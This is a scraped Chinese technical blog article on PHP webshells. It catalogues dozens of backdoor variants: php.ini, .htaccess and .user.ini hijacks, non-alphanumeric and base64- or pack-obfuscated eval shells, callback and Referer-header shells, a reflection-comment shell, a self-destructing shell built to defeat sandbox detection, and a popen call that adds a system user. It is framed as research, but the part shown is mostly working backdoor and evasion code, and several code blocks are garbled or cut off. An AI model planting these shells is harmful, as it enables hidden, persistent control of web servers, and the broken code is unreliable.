Deformity PHP Webshell、Webshell Hidden Learning

目录

0. 引言1. webshell原理介绍2. webshell的常见类型以及变种方法3. webshell的检测原理以及检测工具4. webshell隐藏反检测对抗手段

 

0. 引言

本文旨在研究Webshell的各种猥琐编写方式以及webshell后门的生成、检测技术,主要分享了一些webshell的编写方法以及当前对webshell的识别、检测技术的原理以及相应工具的使用,希望能给研究这一领域的朋友带来一点点帮助,同时抛砖引玉,和大家共同讨论更多的技术细节,共同学习成长

Relevant Link:

http://www.sec-un.org/webshell-security-testing-1-based-traffic-detection.htmlhttp://www.sec-un.org/webshell-security-testing-2-go-deep-inside-the-user.htmlhttp://www.sec-un.org/webshell-security-detection-3-based-on-behavioral-analysis-to-discover-unknown-webshell.htmlhttp://www.sec-un.org/webshell-security-testing-4-webshell-based-on-flow-analysis-sample.htmlhttp://www.sec-un.org/webshell-5-webshell-see-capacity-analysis.html

 

1. 相关学习资料

复制代码
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63http://drops.wooyun.org/tips/839http://1.lanz.sinaapp.com/?p=3http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.htmlhttp://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.htmlhttp://www.freebuf.com/articles/web/11403.htmlhttp://zone.wooyun.org/content/5429https://www.virustotal.com/http://www.8090sec.com/suixinbiji/111568.htmlhttp://blog.d99net.net/article.asp?id=435http://www.91ri.org/10146.html
复制代码

 

1. webshell原理介绍

来自百度百科的定义:

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器
WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序
命令等)

也就是说,webshell也就是一些"正常"的脚本文件(这里说它正常,是从文本的角度来说的),而webshell的恶意性则是表现在它的实现功能上的,也叫Back Door,是一段带有恶意目的的正常脚本代码(Mareware)

在开始学习webshell的各种奇技淫巧之前,我们要先了解一个基本概念,即webshell的组成,下面是引用Monyer的一篇文章:

还有一张是来自drops的一篇paper:

即不管webshell的外形怎么改变,它的基本骨架都符合这个结构,即WebShell的实现需要两步:

1. 数据的传递2. 执行所传递的数据

根据这两个基本点,webshell可以衍生出很多种写法

复制代码
1. 数据的传递:
  1) $_GET、$_POST、$_COOKIES、$_FILE...(HTTP包中的任何位置都可以作为payload的传输媒介)
  2) 从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)
  3) 从磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在磁盘文件中,利用IO函数来读取)
  4) 从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
  5) 从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)2. 代码执行(将用户传输的数据进行执行)
  1) eva、system...l执行(这是最普通、标准的代码执行)
  2) LFI: include、require...(利用浏览器的伪协议将文件包含转化为代码执行)
  3) 动态函数执行($()...PHP的动态函数特性)
  4) Curly Syntax(${${...}}...这种思路可以把变量赋值的漏洞转化为代码执行的机会)
复制代码

关于webshell的防御,这里我的理解应该做一下区分:

复制代码
) 由一些CMS应用系统的漏洞导致的getshell,攻击者在注入攻击的那一瞬间进行getshell,这类webshell的防御主要是在对原有应用系统的代码审查上,审核原有的应用系统的代码中
    是否存在可能导致getshell的
    ) 人工设置几个包含容易导致漏洞的代码的脚本文件(LFI、命令执行等)
复制代码

 

2.  webshell的常见类型以及变种方法

0x1:  php.ini隐藏后门

这是php的核心配置文件

复制代码
auto_prepend_file == 中创建 choop.php: <?php eval($_POST[]); ?>
复制代码

对于这种利用php.ini的webshell部署攻击方式,我们在做攻防研究的时候一定要明白它的攻防场景,一般来说,只有黑客具有了远程修改文件或者已经拿到了目标主机的权限,为了之后的隐蔽访问,而采取的在php.ini中部署一个"后门",也就是说这种webshell部署更倾向于后门的目的

0x2:  .htaccess文件构成的PHP后门

.htaccess是apache的分布式配置文件,.htaccess文件(或者"分布式配置文件")提供了针对不同WEB应用对应的子目录改变配置的方法

.htaccess files (or "distributed configuration files") provide a way to make configuration changes on a per-directory basis. A file, containing one or more configuration directives, is placed in a particular document directory, and the directives apply to that directory, and all subdirectories thereof.

.htaccess文件可以看成是apache核心配置文件的一个子集,按照"就近原则",.htaccess中的指令可以对httpd.conf进行覆盖,前提是httpd.conf中开启了允许覆盖的开关

AllowOverride All

.htaccess中有很多"指令",详细的指令作用可以参阅官方给出的doc,这里我们重点学习和部署后门WEBSHELL有关的以下几条指令

复制代码
1. AddHandler
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler
    1) Description: Maps the filename extensions to the specified handler    2) Syntax: AddHandler handler-name extension [extension] ...    3) Context: server config, virtual host, directory, .htaccess    4) Override: FileInfo    5) Status: Base    6) Module: mod_mime
example: AddHandler php5-script .logs
将对.logs的后缀文件解析映射到PHP脚本解析器上2. AddType
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler
    1) Description:    Maps the given filename extensions onto the specified content type    2) Syntax: AddType MIME-type extension [extension] ...    3) Context: server config, virtual host, directory, .htaccess    4) Override: FileInfo    5) Status: Base    6) Module: mod_mime
example: AddType text/html .logs
指定了.logs的后缀的文件的文件扩展类型为"text/html",这决定了PHP解析这个文件的方式3. SetHandler
http://httpd.apache.org/docs/2.2/mod/core.html#sethandler
    1) Description:    Forces all matching files to be processed by a handler    2) Syntax: SetHandler handler-name|None    3) Context: server config, virtual host, directory, .htaccess    4) Override: FileInfo    5) Status: Core    6) Module: core    7) Compatibility: Moved into the core in Apache 2.0example: SetHandler application/x-httpd-php
将所有脚本请求都强制指定为使用"application/x-httpd-php"进行解析
复制代码

基于对以上知识的了解,我们来看几种GETSHELL、部署、隐藏WEBSHELL的方式

复制代码
1. SetHandler
可将php代码存于非php后缀文件,例: x.jpg
将以下代码写入.htaccess中
SetHandler application/x-httpd-php
连接x.jpg即可启动后门木马
http://26836659.blogcn.com/articles/利用-htaccess文件来执行php脚本.html2. AddHandler、AddType
可将php代码存于非php后缀文件,例: x.logs
将以下代码写入.htaccess中
AddHandler php5-script .logs
AddType text/html .logs
连接x.logs,此时x.logs会被apache当成PHP脚本进行解析3. php_value
将以下代码写入.htaccess中, 文件路径必须是绝对路径,访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file E:/wamp/www/choop.php
复制代码

Relevant Link:

https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheethttp://zone.wooyun.org/content/16114http://httpd.apache.org/docs/2.2/howto/htaccess.html

0x3:  .user.ini文件构成的PHP后门

.user.ini是php应用的分布式配置文件

.htaccess的利用思想是一样的,.user.ini也利用分布式的自定义配置文件、从而进行"配置覆盖、劫持",从而bypass原本的防御逻辑的攻击思想

复制代码
1. 自PHP 5.3.0起,PHP支持基于每个目录的".htaccess风格"的"INI文件"。此类文件仅被CGI/FastCGI SAPI处理。此功能使得PECL的 htscanner扩展作废。如果使用Apache,则用.htaccess 文件有同样效果 

2. 除了主php.ini之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。3. 在.user.ini风格的INI文件中只有具有    1) PHP_INI_PERDIR    2) PHP_INI_USER
模式的INI设置可被识别 

4. 两个新的INI指令    1) user_ini.filename    2) user_ini.cache_ttl
控制着用户INI文件的使用 

5. user_ini.filename设定了PHP会在每个目录下搜寻的文件名    1) 如果设定为空字符串则PHP不会搜寻    2) 默认值是: .user.ini 

6. user_ini.cache_ttl控制着重新读取用户INI文件的间隔时间    1) 默认是300秒
复制代码

需要注意的是,对于.user.ini这种分布式的配置文件来说,它可以使用的指令集是有限制的

http://php.net/manual/zh/configuration.changes.modes.php

在.user.ini风格的INI文件中只有具有"PHP_INI_PERDIR"和"PHP_INI_USER"模式的INI设置可被识别,由此我们可以知道,".user.ini"实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为"PHP_INI_PERDIR、PHP_INI_USER"的设置

在我们能够自定义的配置指令中,我们可以发现如下几条指令可以被用来进行webshell的部署

这和php.ini的利用思路是一样

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载

从这点来说,我们会发现有很多web server具有类似的特性,例如tomcat对于j2ee应用的web.xml文件的变动就会进行自动reload,而不需要重启tomcat server。这是服务器提供的一种特性,而从攻防的角度来看,我们可以有2种利用方式1. webshell后门部署2. 服务器配置相关漏洞修复
因为这种分布式配置文件允许安全研究员对子应用而不是整个web server进行小范围的配置修改,从而可以进行配置加固,并且可以获得即时生效的效果

Relevant Link:

http://php.net/manual/zh/configuration.file.per-user.phphttp://php.net/manual/zh/ini.list.phphttp://drops.wooyun.org/tips/3424

0x4:  利用PHP动态变量特性

复制代码
<?php    //@eval($_POST['op']);
    @eval(${"_P"."OST"}['op']);?>//使用注释符来规避基于黑名单的正则<?php    //@eval($_POST['op']);
    @eval($/*aaa*/{"_P"."OST"}['op']);?>使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS["_POST"]、$_FILES等。<?php
    @eval($_REQUEST['op']);?>$_REQUEST 中的变量通过 GET,POST 和 COOKIE 输入机制传递给脚本文件。这个数组的项目及其顺序依赖于 PHP 的variables_order 指令的配置。<?php
    @eval($GLOBALS['_POST']['op']);?>

<?php
    @eval($_FILE['name']);?>(然后把payload写在文件名中)
复制代码

0x5: tiny php shell

提是对方的服务器的php.ini开启了
short_open_tag = On<?=([email protected]$_GET[2])[email protected]$_($_GET[1])?>http://localhost/shell/choop.php?2=system&1=dir

0x6: Non alphanumeric webshell

复制代码
<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A$____=$___;
$____++;//B$_____=$____;
$_____++;//C$______=$_____;
$______++;//D$_______=$______;
$_______++;//E$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R$_____=$_________;
$_____++;//T$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));   
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));//ASSERT("eval($_POST[1])");//key:=1?>
复制代码

0x7: 图片木马

复制代码
<?=create_function(,file_get_contents(?>
 create_function (  $args , ,file_get_contents(
复制代码

对于图片木马需要明白的是

1. short_open_tag = On
由于jpg、gif等格式的图片中,出现<?这种字符的频率很高,很容易造成PHP解析错误2. short_open_tag = Off
这种情况下,图片WEBSHELL的运行较稳定,黑客插入的<?php ?>能够得到稳定的执行

0x8: preg_replace的"/e"执行特性

复制代码
<?php
    $subject='any_thing_you_can_write';
    $pattern="/^.*$/e";
    $payload='cGhwaW5mbygpOw==';    //cGhwaW5mbygpOw==: "phpinfo();"
    $replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))";    //406576616c286261736536345f6465636f646528: "eval(base64_decode(";    preg_replace($pattern, $replacement , $subject);?>PHP pack() 函数,基本上和数据类型的转换是一个类型的函数
http://www.w3school.com.cn/php/func_misc_pack.asppreg_replace — 执行一个正则表达式的搜索和替换
http://cn2.php.net/manual/zh/function.preg-replace.phpmixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
当使用e修饰符时, 引擎会将"结果字符串"作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

这个webshell的利用方式的核心在于:1. 这个PHP函数: preg_replace,它完成了eval的功能2. 这个pack函数,它完成了eval(base64_decode(...和shellcode_payload的拼接
复制代码

preg_replace还有另一个变种,mb_ereg_replace

<?php
  mb_ereg_replace('.*', $_REQUEST['op'], '', 'e');?>http://php.net/manual/zh/function.mb-ereg-replace.php

PHP PCRE的模式pattern的分界符比较灵活,当使用 PCRE 函数的时候,模式需要由分隔符闭合包裹。分隔符可以使任意非字母数字、非反斜线、非空白字符

1. 获取preg_replace的参数12. 开始逐字符扫描,跳过空格,直到匹配到第一个非空格字符3. 判断当前字符是否是字母数字、反斜线,这些字符是非法的4. 将第一个成功匹配的字符当成start_delimiter,继续向后搜索,直到搜索到和start_delimiter对应的结束标记end_delimiter5. 从end_delimiter位置开始,继续向后搜索,忽略遇到的空格6. 检测是否出现e字符

对应PHP内核源代码
/php-5.5.31/ext/pcre/php_pcre.c

复制代码
PHPAPI pcre_cache_entry* pcre_get_compiled_regex_cache(char *regex, int regex_len TSRMLS_DC)
{
    ...    //分隔符有可能是有可能是左右反向对称的、或者左右相同对称的
    start_delimiter = delimiter;    if ((pp = strchr("([{< )]}> )]}>", delimiter)))
        delimiter = pp[5];
    end_delimiter = delimiter;
    ..
复制代码

preg_replace的pattern参数可以是数组,所以黑客可以将\e放在数组元素中

Relevant Link:

http://php.net/manual/zh/regexp.reference.delimiters.php

0x9: 字符串拼接+PHP的动态函数执行

复制代码
<?php
    $char_as='as';
    $char_e='e';
    $char_assert=$char_as.'s'.$char_e.'r'.'t';
    $char_base64_decode='b'.$char_as.$char_e.(64).'_'.'d'.$char_e.'c'.'o'.'d'.$char_e;
    @$char_assert(@$char_base64_decode('ZXZhbCgkX1BPU1RbMV0p'));    //ZXZhbCgkX1BPU1RbMV0p: "eval($_POST[1])"?>
复制代码

要注意的是,用于动态执行的字符串必须要是"assert",不能是"eval",因为在PHP中,eval、die不是函数,而assert是函数

0x10: Curly Syntax

复制代码
<?= ?>
<?= $_GET[?>
进行一次
复制代码

需要特别注意的是,curl语法代码执行是不能带回显的,即下面这种poc是无法成立的

<?php 
   $xsser = $_GET["op"]; 
   @eval("\$safedg = $xsser;") 
?>http://localhost/test/test.php?op=${${'eval($_GET[1])'}}&1=phpinfo();

所以curl并不能作为一个webshell指令执行跳板来使用,而只能作为"一次性代码执行且不需要回显"的场景,即向本地磁盘写一个新的webshell文件

0x11: 逻辑后门

复制代码
<?php    foreach ($_GET as $key => $value)
    {        //由攻击者添加
        $$key = $value;
    }    // ... some code
    if (logged_in() || $authenticated)
    {        //原有逻辑        // ... administration area    }?>或者增加逻辑if($user_level==ADMIN || $user_name==’monyer’)
{    //admin area}

或者增加配置
$allow_upload = array(
             ‘jpg’,’gif’,’png’,
             ‘php’,
        );
 
这和拿到CMS后台,然后修改"可允许上传文件类型",增加.php的做法类似,这是一种"后门思想"这里的情况是黑客已经控制了服务器的一定控制权,在服务器上留后门,黑客可以手动添加这段代码,人工构造本地变量覆盖漏洞,然后黑客在下次攻击的时候就可以进行变量注入,
进而控制原始的代码流

在其他的情况下
在代码中,常常在if()这样的关键跳的位置根据变量进行代码流向判断,而如果应用系统存在任意变量覆盖漏洞,就有可能导致系统本地原本的变量被覆盖,进而导致代码流被黑客控制
复制代码

0x13: LFI导致的代码执行

复制代码
<?= $_GET[?>data:[<mediatype>][;base64],<data>

或者
eval(file_get_contents('php://input'));
复制代码

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3665062.html

0x15: 动态函数执行

复制代码
<?php
    $dyn_func = $_GET['dyn_func'];
    $argument = $_GET['argument'];
    $dyn_func($argument);?>http://localhost/shell/index.php?dyn_func=system&argument=dir如果目标服务器开启了: register_globals=on
则webshell还可以这么写<?php
    $dyn_func($argument);?>http://localhost/shell/index.php?dyn_func=system&argument=dir但是register_globals这个选项在PHP5.0以后就取消了,即不管php.ini中写On还是Off都没有任何意义
复制代码

0x17: PHP动态创建匿名函数(Lamda表达式)

复制代码
 create_function (  $args , <?= $_GET[= create_function(, ?>http://localhost/test/test.php?foobar=eval("$_POST[1]") <??>

<??>菜刀可连接
复制代码

create_function另一种形式

复制代码
gif89a<?php
    $_chr = chr(99).chr(104).chr(114); //chr  
    $_eval_post_1 = $_chr(101).$_chr(118).$_chr(97).$_chr(108).$_chr(40).$_chr(36).$_chr(95).$_chr(80).$_chr(79).$_chr(83).$_chr(84).$_chr(91).$_chr(49).$_chr(93).$_chr(41).$_chr(59); //eval($_POST[1]); 
    $_create_function = $_chr(99).$_chr(114).$_chr(101).$_chr(97).$_chr(116).$_chr(101).$_chr(95).$_chr(102).$_chr(117).$_chr(110).$_chr(99).$_chr(116).$_chr(105).$_chr(111).$_chr(110); //create_function 
    $_= $_create_function("",$_eval_post_1); //die(var_dump($_create_function ));    @$_();?>
复制代码

0x19: 利用系统输出缓存的方法

复制代码
<?php
    $foobar = 'system';
    ob_start($foobar);
    echo "dir c:";
    ob_end_flush();?>http://cn2.php.net/manual/zh/function.ob-start.phpob_start()会把自己接收到的字符串当作一个"回调函数callback_func",并将接下来的缓冲区输入,当作这个"回调函数"的参数
复制代码

还可以重写ob_start方法

<?php 
ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
echo $_REQUEST['pass']; 
ob_end_flush(); 
?>

0x20: 利用assert()断言来进行代码执行 

复制代码
<?php
    $foobar = 'system("dir")';
    assert($foobar);?>http://cn2.php.net/manual/zh/function.assert.php1. 断言这个功能应该只被用来调试2. 你应该用于完整性检查时测试条件是否始终应该为 TRUE3. 来指示某些程序错误4. 或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)
复制代码

0x21: 数组映射(xxx_map)类型函数的处理后回调机制导致的代码执行

array_map — 将回调函数作用到给定数组的单元上

复制代码
array_map()
usort(),                  uasort(),                uksort()
array_filter()
array_reduce()
array_diff_uassoc(),         array_diff_ukey()
array_udiff(),              array_udiff_assoc(),        array_udiff_uassoc()
array_intersect_assoc(),     array_intersect_uassoc()
array_uintersect(),         array_uintersect_assoc(),    array_uintersect_uassoc()
array_walk(),              array_walk_recursive()<?php
    $evil_callback = $_GET['callback'];
    $some_array = array(0, 1, 2, 3);
    $new_array = array_map($evil_callback, $some_array);?>http://localhost/shell/index.php?callback=phpinfoXML的解析也同样存在这个的映射回调问题
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()


stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
复制代码

我们可以利用array_map的这个特点,将第一个参数(回调函数)作为命令执行管道,第二个参数(callback参数)作为payload传入,从而构将传统的函数调用(payload)的模式转换为array_map(指令执行,payload),从而躲避WEBSHELL检测机制

<?php 
    $new_array = array_map("ass\x65rt", (array)$_REQUEST['op']);?>//http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密码: 1

0x22: PHP的序列化、反序列化特性布置后门 

复制代码
<? $ = ->
    unserialize($_GET[?>:::{s::;s::
复制代码

0x23: 使用HTTP头部的其他非常用字段进行指令的传输 

复制代码
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果。

backdoor:<?php
    header('Content-type:text/html;charset=utf-8');    //将$_SERVER['HTTP_REFERER']中的参数解析到本地变量中,放到$a数组中
    parse_str($_SERVER['HTTP_REFERER'], $a);    //判断数组变量$a中的第一个元素是否是"10"、并且数组元素个数是否是9个
    if(reset($a) == '10' && count($a) == 9)
    {    
        //取出数组$a中索引6的元素,即我们传入的实际payload,并进行base64_decode解码
        eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }?>利用方式:<?php
    header('Content-type:text/html;charset=utf-8');    //要执行的代码
    $code = "phpinfo();";    //进行base64编码
    $code = base64_encode($code);    //构造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";    //后门url
    $url = 'http://localhost/shell/index.php';
    $ch = curl_init();
    $options = array(
        CURLOPT_URL => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    );
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);?>原理分析:
http://www.php.net/manual/zh/function.parse-str.php和extract()作用类似,将外部传入的参数注册为本地变量

http://www.w3school.com.cn/php/func_array_reset.aspreset() 函数把数组的内部指针指向第一个元素,并返回这个元素的值

http://www.w3school.com.cn/php/func_array_slice.asparray_slice(array,offset,length,preserve)
array_slice() 函数在数组中根据条件取出一段值,并返回。

http://www.w3school.com.cn/php/func_string_implode.aspimplode

这个webshell通过编码的referer来传递攻击载荷,HTTP通信的头部的任何字段、或者HTTP的数据部分的任何字段都可以当作webshell的payload来传递数据的。
复制代码

0x24: 乱序拼接法 

复制代码
<?=...=.$_...}[--?>-]被解析出来的,如果不用这个花括号,则这个<?==$aaaaa{}.$aaaaa{}.$aaaaa{}.$aaaaa{}.$aaaaa{}.$aaaaa{
    $aaaaaa==$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.$aaaaaa{}.
   $aaaaaa{}.$aaaaaa{}.$aaaaaa{?>) 是在一段正常的webshell代码中随机插入一些杂乱的无意义的字母,然后再在下面使用preg_replace之类的正则替换来去除掉这些) 这种做法是先定义一个,这个包含有我们需要构造的关键函数的字符。我们通过从这个字母池中选取特定的索引下的字母,以此来构造出我们想要
  的(system、base64_decode)
复制代码

0x25: 利用apache的错误日志进行webshell的注入 

复制代码
 :: ] [core:error] [pid :tid ] ()The given path  misformatted or contained invalid characters: 
[client :::] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/) 访问记录(例如: 请求URL),和(<??><?
    $ch =
    curl_setopt($ch, CURLOPT_URL, 
    $output =?> :: ] [core:error] [pid :tid ] ()The given path  misformatted or contained invalid characters: 
[client :::] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/
复制代码

0x26: 利用字符的运算符来进行webshell的构造 

复制代码
<?php
    echo 'a'|'d';//e!  ?>字符串和数字的强转:<?php  
    $_="abc";
    echo $_+1;  //1?>
<?php  
    $_="1abc";
    echo $_+1;  //2?>字符串会被强制转换成数字,如果不能转,就返回0
http://www.blogjava.net/zuofei-bie/archive/2010/03/31/317092.html<?php  
    $_="abc";  
    echo ++$_;  //abd  ?>这种"++"和"+"的表现形式还不太一样,"++"是把字符串最后一个字母进行"+1"
复制代码

0x27: 使用PHP的管道技术执行系统命令后门 

复制代码
open()
http://www.w3school.com.cn/php/func_filesystem_popen.asp
 <?php    /*
        PHP中如何增加一个系统用户
        下面是一段例程,
        用户名: test
        密码是: 111    */
    $command = "net user";
    $useradd = "add ";
    $pwd = "111";
    $user = "test";  
    $user_add = sprintf("%s "%s %s"", $command, $useradd, $user, $pwd);
    $fp = @popen($user_add,"w");  
    @pclose($fp);?>命令执行成功,添加账户成功。PHP执行命令有很多方法,eval、passthru、system、assert、popen、exec、shell_exec
复制代码

0x28: 利用PHP的指令替换编写webshell 

<?php   
    $cmd = `dir`;  
    echo $cmd;   
?>  波浪线下面那个键括起来的字符串可以当命令执行。

0x29: 利用一些CMS等开源框架进行本地变量覆盖 

复制代码
<?php    foreach ($_GET as $key => $value)
    {
        $result .= "$key=$value&";
    }    /*
        很多开源框架都有类似上面这段功能的代码,用于将用户输入的参数进行批量的本地化
        但是这也往往导致了"本地变量覆盖漏洞"
        同时也可以被黑客用来在原本正常的文件中插入
            parse_str($result);
            $sys($command);
        这段代码来进行getshell    */
    ..
    parse_str($result);
    $sys($command);?>http://localhost/shell/index.php?sys=system&command=dir
复制代码

0x30: 基于图片文件非可显示字段(例如图片头meta)部署PHP图片木马

复制代码
http:<?= exif_read_data(, 
    echo $exif=== ?  : 
    $exif = exif_read_data(, ,  ($exif  $key => ($section  $name =>?>. 而关于这种图片木马,可以有一种更加精确的利用方式,图片(也就是EXIT格式的文件)的每个区段都是有精确意义的,我们可以将我们的webshell准确地放置在这些指定的区域,
  然后使用exif_read_data去读取读取出来,然后使用preg_replace的->. ImageDescription: /.*/. Subject: eval(\$_POST[<?
    $exif = exif_read_data(, , ][][][], $exif[][],?>
复制代码

 0x31: 将数据放在注释中并利用反射机制获取webshellcode

复制代码
http://www.8090sec.com/suixinbiji/111568.html黑客将webshell放到了/**/注释中,然后利用类的反射机制获取到,进行动态函数的执行
PHP的反射类机制
ReflectionClass
http://cn2.php.net/manual/zh/reflectionclass.construct.phpReflectionClass::getDocComment — 获取文档注释
http://cn2.php.net/manual/zh/reflectionclass.getdoccomment.php这是最终的poc<?php  
    /**   
    * eval($_POST[1]);    */  
    class TestClass { }  
    $rc = new ReflectionClass('TestClass');  
    //获取当前文档的注释
    $comment = $rc->getDocComment();    //die(var_dump($comment));
    $pos = strpos($comment,'eval');    //die(var_dump($pos));  
    $eval=substr($comment,$pos,16);  
    //die($eval);    eval($eval);?>更高级一点的用法,现有的webshell检测系统会基于文本特征进行匹配,为了对抗这个防御策略,原则上来说,黑客想要做的是将原本的webshell代码进行加花、换行、大小写变形,但是在一般情况下,PHP代码如果被变形了(例如换行)就无法正常执行了。但是在反射类利用姿势这个case下,代码的变形成为了可能

黑客在注释中可以任意插入花指令、换行等字符来绕过现有的特征检测机制<?php    /**
    * eva
    * l($_GE
    * T["c"]);
    * asse
    * rt    */
    class TestClass { }
    $rc = new ReflectionClass('TestClass');
    $str = $rc->getDocComment();
    die(var_dump($str));
    $evf=substr($str,strpos($str,'e'),3);
    $evf=$evf.substr($str,strpos($str,'l'),6);
    $evf=$evf.substr($str,strpos($str,'T'),8);
    $fu=substr($str,strpos($str,'as'),4);
    $fu=$fu.substr($str,strpos($str,'r'),2);
    $fu($evf);?>
复制代码

0x32: webshell多态技术: 自毁型webshell

复制代码
毁性WebShell<?php    /*
        现在的PHP的webshell的检测基本用的是对PHP执行引擎进行hook进行动态检测
        即我们构造出一个沙箱,让目标脚本在里面执行一次,然后对执行的结果进行判断
        而我们的沙箱在触发这个脚本执行的时候由于没有给定准确的参数"code",就会导致毁灭性覆写"fwrite ($fp, $content)"的结果
        这样,沙箱的执行结果就是一个普通的文本"helloworld"

        然后,管理员再去查看这个文件的时候,看到的就只是一个"helloworld"了

        这个是很针对"PHP的动态沙箱检测"的绕过的

        反而利用了沙箱的机制,沙箱导致了文件的毁坏    */

    //$url = $_SERVER['PHP_SELF'];    //$filename = end(explode('/',$url));    //die($filename);
    if($_REQUEST["code"]==pany)
    {
        echo str_rot13('riny($_CBFG[pzq]);');
        eval(str_rot13('riny($_CBFG[pzq]);'));
    }    else
    {
        $url = $_SERVER['PHP_SELF'];
        $filename = end(explode('/',$url));
           
        $content = 'helloworld';
        $fp = fopen ("$filename","w");        if (fwrite ($fp, $content))
        {
            fclose ($fp);
            die ("error");
        }        else
        {
            fclose ($fp);
            die ("good");
        }
        exit;
    }?>
复制代码

0x33: 利用本地变量注册技术 

复制代码
ttp://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html利用extract函数将输入数据注册为本地变量,然后利用PHP的动态执行特性进行动态函数执行
http://www.php.net/manual/en/function.extract.php<?php
    @extract ($_REQUEST);
    @die($ctime($atime));?>http://localhost/test/index.php?ctime=assert&atime=phpinfo()
复制代码

0x34: 关于本地变量注册技术的利用姿势

HP中有三种姿势可能导致本地变量注册,进而利用PHP的动态函数执行技巧进行WEBSHELL的构造1) extract2) parse_str3) foreach(..) { $$key = $value; }
这三种在本文中都给出了相应例子

0x35: 利用PHP的逻辑运算符进行WEBSHELL的编码 

复制代码
http://worm.cc/PHP中使用按位取反函数创建后门.htmlWEBSHELL代码<?php
    $x = ~"žŒŒš‹";
    $y = ~"—–‘™×Ö";
    $x($y);?>生成原理<?php
    echo ~"assert";
    echo ~"phpinfo()";?>注意这个文件一定要保存为ANSI格式
复制代码

然后在浏览器端选择西方ISO-8859-1

这是一种利用数学运算符来进行WEBSHELL隐藏的一个思路,举一反三,还可以使用其他的数学运算符来进行相似的隐藏效果

0x36: 利用PHP扩展隐藏后门WEBSHELL木马

复制代码
这种情况需要黑客已经对目标服务器具有一定的控制权,可以修改目标服务器的php.ini并且可以上传扩展文件.so、.dll到指定目录下。这种扩展型的后门木马的效果非常好,
对静态检测程序、和动态沙箱检测程序的bypass特性都有很好的
表现。技术上说,这种利用PHP扩展隐藏后门的方法还有分为两种   
1) 编写扩展程序,Hook某些核心的PHP函数的执行流,并通过检测网络流量中是否出现指定的关键字(例如攻击者可以指定pwd:作为命令的触发标识)来决定是启动后门程序,并执行指令   2) 编写扩展程序,生成一些新的函数(例如backdoor_eval()),这样,黑客就可以在自己的WEBSHELL.PHP中调用这种函数,从而躲避静态检测程序的检测 http://www.kissthink.com/archive/3482.html
复制代码

0x37: 猥琐流PHP层层加密隐藏 

http://blog.wangzhan.360.cn/?p=65

0x38: 利用非常规字符集来绕过"关键字检测正则"的防御(包括神盾加密在内的主流在线加密工具基本都采用变量/函数/类名混淆的方式实现隐藏)

http://www.cnblogs.com/52cik/p/php-variable-character.htmlhttp://www.cnblogs.com/52cik/p/php-phpdp-thinking.htmlhttp://www.php.net/manual/zh/language.variables.basics.phphttp://x95.org/decryption-phpdp-and-phpjm.html这种基于字符集的bypass思路是一种很好的技巧,可以绕过很多基于"指定模式的正则匹配"的webshell检测软件

1. 神盾加密解密方案

复制代码
<?php
